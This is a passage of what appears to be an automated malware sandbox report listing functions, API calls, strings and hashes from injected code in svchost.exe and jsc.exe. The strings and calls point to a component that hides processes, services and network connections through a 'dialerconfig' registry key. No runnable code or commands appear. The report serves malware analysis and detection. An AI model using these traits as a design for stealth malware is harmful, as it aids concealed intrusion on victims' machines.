Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 357e4fcac8ea96f4a3968a8ff7f86569f76177633de38bff44335b102adc1408
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: E4113A32614B8082EB618F15F454399BBE5FB8CB94F984221EE8C4BB68DF3CC591CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB407356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000142DB40737C

Strings

riptor at (, xrefs: 00000142DB407364
ierarchy Descriptor', xrefs: 00000142DB407381

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: ca92519098e85e995cf8f6ea312fec8f36c331f3a656a6c5e89f7cec0a801938
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 10E08671E50B4490DF01CF61E8602D877A0DB58B64B989122EA5C1B325FA38D1E9C301

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB4073B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000142DB4073D8

Strings

riptor at (, xrefs: 00000142DB4073C0
Locator', xrefs: 00000142DB4073DD

Memory Dump Source

Source File: 00000002.00000002.2466799822.00000142DB400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000142DB400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db400000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 02903772939c2eb1c07ba765b84732811d757d336c791229eeed81aec43274fb
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 3CE08671E50B4880DF01CF61E8601D87760E758B54BC89122EA4C17325EA38D1E5C301

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB141C2D
HeapAlloc.KERNEL32 ref: 00000142DB141C3B
GetProcessHeap.KERNEL32 ref: 00000142DB141C77
HeapFree.KERNEL32 ref: 00000142DB141C85

Part of subcall function 00000142DB14152C: StrCmpIW.SHLWAPI ref: 00000142DB14155D

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 5a5c01ce78565fd74c696db36f371b5237a3d4e461e7a259cc3e1a998e11e402
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 41118F35A01B8481EA44DBA7A8543AA7BE1FB8DFD0F984024EE4D47779DF38C492C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000142DB141268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000142DB14126E
HeapAlloc.KERNEL32 ref: 00000142DB14127D
GetProcessHeap.KERNEL32 ref: 00000142DB141297
HeapAlloc.KERNEL32 ref: 00000142DB1412A8

Memory Dump Source

Source File: 00000002.00000002.2465974806.00000142DB140000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000142DB140000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_142db140000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 45712faeb99f7f987e3ec587f2db52db37eb65bac13ed058757f2fc622f80c19
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: CDE03935A01604C6EB448BA2D8683AA3AE1EB8DB06F848024C90907765DF7DC8D9C790

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: jsc.exePID: 3416, Parent PID: 432COMMON

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	4

Executed Functions

Function 01666AC8 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,01666A8A), ref: 01666B77

Memory Dump Source

Source File: 00000003.00000002.3904383587.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1660000_jsc.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: ffe09b94571922d4fb67595802d4c5debbde7085e21139efcf3b8433ce4fe9b7
Instruction ID: 5b5522f146daf09fcf8fd8197b22c58e7749810a06140429473b4046cff65c43
Opcode Fuzzy Hash: ffe09b94571922d4fb67595802d4c5debbde7085e21139efcf3b8433ce4fe9b7
Instruction Fuzzy Hash: F021CCB0C0438A8FDB20DFAAD4007DEFBF4AF49320F05846AC844A3251D7389946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01666118 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,01666A8A), ref: 01666B77

Memory Dump Source

Source File: 00000003.00000002.3904383587.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1660000_jsc.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 4600c3a346b154e78d7dee4018d28d3459fc28d2e3c4afabd84c069b93bf1efa
Instruction ID: 2ae7d34a4e010bd0078cae02dabfcf845f10c0d7a9bb6e1c97748e1401908901
Opcode Fuzzy Hash: 4600c3a346b154e78d7dee4018d28d3459fc28d2e3c4afabd84c069b93bf1efa
Instruction Fuzzy Hash: BC1117B1C00659DBDB10DF9AD844BDEFBF4EB48320F14812AD914B7240D778A951CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0147D400 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3903034997.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d74b46f201e074c8415d3897bf967f1a889ea8ea56b1460d5b35ec511267fe3
Instruction ID: 93d71d082f710ed327ab60bf44bb446f544991ede8e5896ca45f3546e2c41f20
Opcode Fuzzy Hash: 2d74b46f201e074c8415d3897bf967f1a889ea8ea56b1460d5b35ec511267fe3
Instruction Fuzzy Hash: 52210671914204DFDB15DF54D9C4B97BF65FF98320F20C17AD9090A366C336E456CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0147D4EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3903034997.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2b1f780e7c5c5d04d10a2a1c98c11a35e2a773673d2e9e09b73f3b8733f69e
Instruction ID: f97354914ca39815efb5777050fe3384c6f95bf3f4829226aabe5d7151af715f
Opcode Fuzzy Hash: 6a2b1f780e7c5c5d04d10a2a1c98c11a35e2a773673d2e9e09b73f3b8733f69e
Instruction Fuzzy Hash: 552103B1A14200DFDB15DF94D9C0B67BF65FF88328F20856AE8090B366C336D456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0147D4E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3903034997.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 3779bad64d71f05f0d8e98b5f5bf2eaac6db4477d020acf2e0f107b75c8570a0
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 0411AF76904240CFCB16CF54D5C4B56BF62FF88324F24C5AAD8490B266C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0147D3FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3903034997.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_147d000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: db2e2b038e26cd802238888e2eb273363528bcd2da400a92fd9af96cec99a972
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 2711DF76904280DFCB16CF54D9C4B96BF62FF84320F24C1AAD9090B267C33AE456CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svchost.exePID: 5380, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	3

Executed Functions

Function 000001F28A04104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28A0410B1
RegEnumValueW.ADVAPI32 ref: 000001F28A041117
GetProcessHeap.KERNEL32 ref: 000001F28A04115A
HeapAlloc.KERNEL32 ref: 000001F28A041168
GetProcessHeap.KERNEL32 ref: 000001F28A041185
HeapFree.KERNEL32 ref: 000001F28A041193

Strings

d, xrefs: 000001F28A0410D6

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 2dd3a0d31096118d6a60a2c658842b22b78508f034a802698af947492ced99fb
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 47417D33615B86D6E7A0CF21E4447AE77E1F389BD9F048129DA8A07B58DF38C489CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28A04126E
HeapAlloc.KERNEL32 ref: 000001F28A04127D
GetProcessHeap.KERNEL32 ref: 000001F28A041297
HeapAlloc.KERNEL32 ref: 000001F28A0412A8

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 7be0d562e68d32c717df1b57b71a071eac9dee8509ff6e817a18bebfb5f68baa
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 03E06535E01A0686EB488F62D8083AA36E1FB89F86F0CC024C90907761DF7D8499CB90

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F28A0432AE
PathFindFileNameW.SHLWAPI ref: 000001F28A0432BD

Part of subcall function 000001F28A043844: StrCmpNIW.SHLWAPI ref: 000001F28A04385C

Part of subcall function 000001F28A043790: GetModuleHandleW.KERNEL32 ref: 000001F28A04379E
Part of subcall function 000001F28A043790: GetCurrentProcess.KERNEL32 ref: 000001F28A0437CC
Part of subcall function 000001F28A043790: VirtualProtectEx.KERNEL32 ref: 000001F28A0437EE
Part of subcall function 000001F28A043790: GetCurrentProcess.KERNEL32 ref: 000001F28A043809
Part of subcall function 000001F28A043790: VirtualProtectEx.KERNEL32 ref: 000001F28A04382A

CreateThread.KERNEL32 ref: 000001F28A04330B

Part of subcall function 000001F28A041D14: GetCurrentThread.KERNEL32 ref: 000001F28A041D1F

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 82cb52990f052ef71078733cde669ad4327fc990dc0a76f62db36cbba17f7ee9
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: E6119270A16743B2FB609B21F8493FA22D4BB587CEF54F138E94681591EF78C0548F82

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F28A041628: GetProcessHeap.KERNEL32 ref: 000001F28A041633
Part of subcall function 000001F28A041628: HeapAlloc.KERNEL32 ref: 000001F28A041642
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A0416B2
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A0416DF
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A0416F9
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A041719
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A041734
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A041754
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A04176F
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A04178F
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A0417AA
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A0417CA

Sleep.KERNEL32 ref: 000001F28A041AD7
SleepEx.KERNEL32 ref: 000001F28A041ADD

Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A0417E5
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A041805
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A041820
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A041840
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A04185B
Part of subcall function 000001F28A041628: RegOpenKeyExW.ADVAPI32 ref: 000001F28A04187B
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A041896
Part of subcall function 000001F28A041628: RegCloseKey.ADVAPI32 ref: 000001F28A0418A0

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: c3de326a91b217a7b476f4fc1949e6bad0b360758f1429933910719edb841b13
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 3431CCB1612647A2FF509B26DA413F923E5BB88BDAF049431DF0D87696EF34C861CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A043844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F28A04385C

Strings

dialer, xrefs: 000001F28A043855

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 477e9178b75f975729dc5eee52024146b18d9399c23afee45759ff6514a1e5a0
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 7DD05E74712347A6FB54DFA688C57B06390EB04788F889034C90001150DF38898D9F10

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A01273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F28A01285E

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e07d03626a97a33876f84814e53d2067df99581a70c6b9bc46dc4cea68522376
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: C461AD72B1169697DB548F299040BF9B3E2FB58BE4F588135DE5907788FE38D862CB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000001F28A042B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F28A042BD0
lstrlenW.KERNEL32 ref: 000001F28A042E0A

Part of subcall function 000001F28A04199C: OpenProcess.KERNEL32 ref: 000001F28A0419C2
Part of subcall function 000001F28A04199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F28A0419E0
Part of subcall function 000001F28A04199C: PathFindFileNameW.SHLWAPI ref: 000001F28A0419EF
Part of subcall function 000001F28A04199C: lstrlenW.KERNEL32 ref: 000001F28A0419FB
Part of subcall function 000001F28A04199C: StrCpyW.SHLWAPI ref: 000001F28A041A0E
Part of subcall function 000001F28A04199C: CloseHandle.KERNEL32 ref: 000001F28A041A1C

GetProcAddress.KERNEL32 ref: 000001F28A042BE5

Part of subcall function 000001F28A04152C: StrCmpIW.SHLWAPI ref: 000001F28A04155D

Part of subcall function 000001F28A043844: StrCmpNIW.SHLWAPI ref: 000001F28A04385C

StrCmpNIW.SHLWAPI ref: 000001F28A042C28
lstrlenW.KERNEL32 ref: 000001F28A042D50

Strings

ntdll.dll, xrefs: 000001F28A042BC9
\Device\Nsi, xrefs: 000001F28A042C1B
NtQueryObject, xrefs: 000001F28A042BDB

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 3fed8c47ff0a8824a0b8e8f737e6590efe6929acdd19b9b7a2954c68f0dd4513
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 57B15A72312A93A6EB659F26D4507F963E9FB48BD8F449026EE0953B95DF34C880CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A047D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F28A047DAC
RtlCaptureContext.NTDLL ref: 000001F28A047DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F28A047DF3
RtlVirtualUnwind.NTDLL ref: 000001F28A047E34
IsDebuggerPresent.KERNEL32 ref: 000001F28A047E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28A047EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F28A047EB4

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 3212edddfdb3388e7da5e2cdef587f95c24044469fa36c6fd924548fb6c843fd
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 38317072205B829AEB609F60E8503ED73B0F784788F44443ADB4D57B95EF38C548CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F28A04D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F28A04D335
RtlVirtualUnwind.NTDLL ref: 000001F28A04D370
IsDebuggerPresent.KERNEL32 ref: 000001F28A04D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28A04D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F28A04D3BE

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 91b18deced53cd844252dfd51144bcc9e3383d265835ba7f8bf8cab19f15f1d4
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 6B316B32215F82A6EB60DF25E8403EE73A0F789798F544126EA9D53B99EF38C545CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28A041633
HeapAlloc.KERNEL32 ref: 000001F28A041642

Part of subcall function 000001F28A041268: GetProcessHeap.KERNEL32 ref: 000001F28A04126E
Part of subcall function 000001F28A041268: HeapAlloc.KERNEL32 ref: 000001F28A04127D
Part of subcall function 000001F28A041268: GetProcessHeap.KERNEL32 ref: 000001F28A041297
Part of subcall function 000001F28A041268: HeapAlloc.KERNEL32 ref: 000001F28A0412A8

RegOpenKeyExW.ADVAPI32 ref: 000001F28A0416B2
RegOpenKeyExW.ADVAPI32 ref: 000001F28A0416DF
RegCloseKey.ADVAPI32 ref: 000001F28A0416F9
RegOpenKeyExW.ADVAPI32 ref: 000001F28A041719
RegCloseKey.ADVAPI32 ref: 000001F28A041734
RegOpenKeyExW.ADVAPI32 ref: 000001F28A041754
RegCloseKey.ADVAPI32 ref: 000001F28A04176F
RegOpenKeyExW.ADVAPI32 ref: 000001F28A04178F
RegCloseKey.ADVAPI32 ref: 000001F28A0417AA
RegOpenKeyExW.ADVAPI32 ref: 000001F28A0417CA
RegCloseKey.ADVAPI32 ref: 000001F28A0417E5
RegOpenKeyExW.ADVAPI32 ref: 000001F28A041805
RegCloseKey.ADVAPI32 ref: 000001F28A041820
RegOpenKeyExW.ADVAPI32 ref: 000001F28A041840
RegCloseKey.ADVAPI32 ref: 000001F28A04185B
RegOpenKeyExW.ADVAPI32 ref: 000001F28A04187B
RegCloseKey.ADVAPI32 ref: 000001F28A041896
RegCloseKey.ADVAPI32 ref: 000001F28A0418A0

Part of subcall function 000001F28A0412BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F28A041319
Part of subcall function 000001F28A0412BC: GetProcessHeap.KERNEL32 ref: 000001F28A041327
Part of subcall function 000001F28A0412BC: HeapAlloc.KERNEL32 ref: 000001F28A041338
Part of subcall function 000001F28A0412BC: RegEnumValueW.ADVAPI32 ref: 000001F28A041397
Part of subcall function 000001F28A0412BC: GetProcessHeap.KERNEL32 ref: 000001F28A0413DF
Part of subcall function 000001F28A0412BC: HeapAlloc.KERNEL32 ref: 000001F28A0413ED
Part of subcall function 000001F28A0412BC: GetProcessHeap.KERNEL32 ref: 000001F28A04140A
Part of subcall function 000001F28A0412BC: HeapFree.KERNEL32 ref: 000001F28A041418
Part of subcall function 000001F28A0412BC: lstrlenW.KERNEL32 ref: 000001F28A041421
Part of subcall function 000001F28A0412BC: GetProcessHeap.KERNEL32 ref: 000001F28A04142F
Part of subcall function 000001F28A0412BC: HeapAlloc.KERNEL32 ref: 000001F28A04143D

Strings

paths, xrefs: 000001F28A041788
SOFTWARE\dialerconfig, xrefs: 000001F28A041692
startup, xrefs: 000001F28A0416D5
udp, xrefs: 000001F28A041874
tcp_remote, xrefs: 000001F28A041839
service_names, xrefs: 000001F28A0417C3
pid, xrefs: 000001F28A041712
process_names, xrefs: 000001F28A04174D
tcp_local, xrefs: 000001F28A0417FE

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 303f05e426b5c844122d74163ff3722d308cdadba3e5abc8992663a8961ab7cb
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: EB712A36711A13A6EB109F65E8947EA23E4FB88BDDF446122DE4E57B68EF34C444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

